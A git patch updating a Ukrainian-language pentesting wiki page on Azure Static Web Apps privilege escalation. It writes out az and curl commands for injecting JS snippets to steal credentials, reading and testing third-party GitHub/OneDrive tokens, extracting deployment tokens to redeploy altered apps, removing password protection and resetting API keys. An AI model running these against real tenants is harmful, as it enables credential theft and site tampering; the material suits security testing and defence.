From e339f7daeea5687c3ae3ada77f60bcc27229ced2 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 12:01:46 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 61 ++++++++++--------- 1 file changed, 31 insertions(+), 30 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index cf7c4b974..d7f9826b3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -Для отримання додаткової інформації про цей сервіс див.: +Для отримання додаткової інформації про цей сервіс дивіться: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ ### Microsoft.Web/staticSites/snippets/write -Можна змусити static web page завантажувати довільний HTML шляхом створення snippet. Це може дозволити attacker інжектити JS всередину web app і викрасти чутливу інформацію, наприклад credentials або mnemonic keys (в web3 wallets). +Можна змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши snippet. Це може дозволити атакуючому інжектувати JS-код всередину web app і викрасти чутливу інформацію, таку як облікові дані або mnemonic keys (in web3 wallets). -The fllowing command create an snippet that will always be loaded by the web app:: +Наступна команда створює snippet, який завжди буде завантажуватися web app:: ```bash az rest \ --method PUT \ @@ -31,7 +31,7 @@ az rest \ } }' ``` -### Прочитати налаштовані облікові дані сторонніх сервісів +### Читання налаштованих облікових даних сторонніх сервісів Як пояснено в розділі App Service: @@ -39,14 +39,14 @@ az rest \ ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Виконавши наступну команду, можна **прочитати облікові дані сторонніх сервісів**, налаштовані в поточному обліковому записі. Зауважте, що, наприклад, якщо деякі Github облікові дані налаштовано для іншого користувача, ви не зможете отримати доступ до token з іншого облікового запису. +Запустивши наступну команду, можна **прочитати налаштовані облікові дані сторонніх сервісів** у поточному обліковому записі. Зауважте, що, наприклад, якщо якісь облікові дані Github налаштовано для іншого користувача, ви не зможете отримати token з іншого облікового запису. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -Ця команда повертає tokens для Github, Bitbucket, Dropbox і OneDrive. +Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive. -Ось кілька прикладів команд для перевірки tokens: +Тут наведено кілька прикладів команд для перевірки токенів: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Перезапис файлу - Перезапис маршрутів, HTML, JS... +### Перезапис файлу - Перезапис routes, HTML, JS... -Можна **перезаписати файл всередині Github repo**, який містить додаток, через Azure, маючи **Github token**, відправивши запит такого вигляду, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту. +Можна **перезаписати файл всередині Github repo**, що містить додаток, через Azure за наявності **Github token**, відправивши запит, наприклад, як наведено нижче, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту. -Цим можуть зловживати нападники, фактично **змінюючи вміст веб-додатку** щоб подавати шкідливий контент (вкрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на свої сервери, перезаписавши файл `staticwebapp.config.json`. +Цим можуть зловживати зловмисники, щоб фактично **змінити вміст веб‑додатку** для подачі шкідливого контенту (викрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на власні сервери шляхом перезапису файлу `staticwebapp.config.json`. > [!WARNING] -> Зверніть увагу, що якщо нападнику вдасться якимось чином скомпрометувати Github repo, він також може безпосередньо перезаписати файл через Github. +> Зверніть увагу, що якщо зловмисник яким-небудь чином отримає доступ до Github repo, він також може перезаписати файл безпосередньо через Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ ``` ### Microsoft.Web/staticSites/config/write -Маючи цей дозвіл, можна **змінити пароль**, який захищає static web app, або навіть зняти захист з усіх середовищ, відправивши запит, як-от наведеного нижче: +З цим дозволом можна **змінити пароль**, який захищає static web app або навіть зняти захист з усіх середовищ, надіславши запит, подібний до наступного: ```bash # Change password az rest --method put \ @@ -133,38 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -Дозвіл дає змогу отримати **API key deployment token** для статичного додатка. +Цей дозвіл дозволяє отримати **API key deployment token** для статичного застосунку. -За допомогою az rest: +Використовуючи az rest: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -Використання AzCLI: +Використовуючи AzCLI: ```bash az staticwebapp secrets list --name --resource-group ``` -Отже, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це той, який Azure за замовчуванням налаштував для використання. Тому образ і параметри можуть змінитися в майбутньому. +Тож, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки саме його Azure встановлює за замовчуванням. Через це образ та параметри можуть змінитися в майбутньому. > [!TIP] -> Для деплою додатка ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати такі кроки: +> Для deploy додатку ви можете використати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати наступні кроки: -1. Завантажте репо [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) та виконайте `cd react-basic`. -2. Змініть код, який ви хочете розгорнути -3. Розгорніть його, запустивши (пам'ятайте змінити ``): +1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший repo, який ви хочете deploy) і виконайте `cd react-basic`. +2. Змініть код, який ви хочете deploy +3. Щоб здійснити deploy, запустіть команду (пам'ятайте замінити ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Щоб використовувати token, вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання та використовувати APi token. +> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Для використання token вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання й використовувати th APi token. ### Microsoft.Web/staticSites/write -З цим дозволом можна **змінити джерело статичного веб-додатка на інший Github repository**, однак воно не буде автоматично налаштоване, оскільки це має виконуватися через Github Action. +З цим дозволом можна **змінити джерело static web app на інший Github repository**, проте він не буде автоматично provisioned, оскільки це має бути зроблено через Github Action. -Однак якщо **Deployment Authotization Policy** встановлено на **Github**, буде можливо **оновити додаток з нового репозиторію!**. +Однак якщо **Deployment Authorization Policy** встановлено на **Github**, можна **оновити додаток з нового репозиторію!**. -Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити її, використовуючи той самий дозвіл `Microsoft.Web/staticSites/write`. +Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити його за допомогою того ж дозволу `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -187,7 +187,7 @@ az rest --method PATCH \ } }' ``` -Приклад Github Action для розгортання додатка: +Приклад Github Action для розгортання додатку: ```yaml name: Azure Static Web Apps CI/CD @@ -250,7 +250,7 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -Цей дозвіл дозволяє **reset the API key of the static web app**, потенційно DoSing робочі процеси, які автоматично розгортають додаток. +З цим дозволом можна **reset the API key of the static web app**, що потенційно призведе до DoSing workflows, які автоматично deploy додаток. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" @@ -259,7 +259,7 @@ az rest --method POST \ Цей дозвіл дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині static web app з певною роллю. -Логін знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди: +Вхід знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -270,13 +270,14 @@ az staticwebapp users invite \ --user-details username # Github username in this case\ --resource-group Resource_Group_1 # Resource group of the app ``` -### Запити на злиття (Pull Requests) +### Pull Requests -За замовчуванням Pull Requests із гілки в тому ж репозиторії автоматично компілюються й збираються у staging середовищі. Це може бути використано зловмисником, який має права запису в репо, але не може обійти захист гілок production (зазвичай `main`), щоб **розгорнути шкідливу версію додатка** за staging URL. +By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL. The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Зверніть увагу, що за замовчуванням external PRs не запускатимуть workflows, якщо їхній автор не влив принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім **відправити шкідливий PR** в репо, щоб розгорнути шкідливий додаток у staging середовищі. ОДНАК, існує несподіваний захист: дефолтний GitHub Action для деплою у static web app потребує доступу до секрету, що містить deployment token (наприклад `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PRs не матимуть доступу до цього секрету і external PR не може змінити Workflow, щоб помістити туди довільний токен без прийняття PR, **ця атака насправді не спрацює**. +> Зверніть увагу, що за замовчуванням external PRs не запускають workflows, якщо вони не змерджили принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім надіслати шкідливий PR, щоб розгорнути шкідливий застосунок у staging-середовищі. Однак існує несподіваний захист: дефолтний Github Action для деплою в static web app потребує доступу до secret, що містить deployment token (наприклад, `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PR не матиме доступу до цього secret і external PR не може змінити Workflow, щоб підставити сюди довільний токен без прийняття PR, **ця атака насправді не спрацює**. + {{#include ../../../banners/hacktricks-training.md}}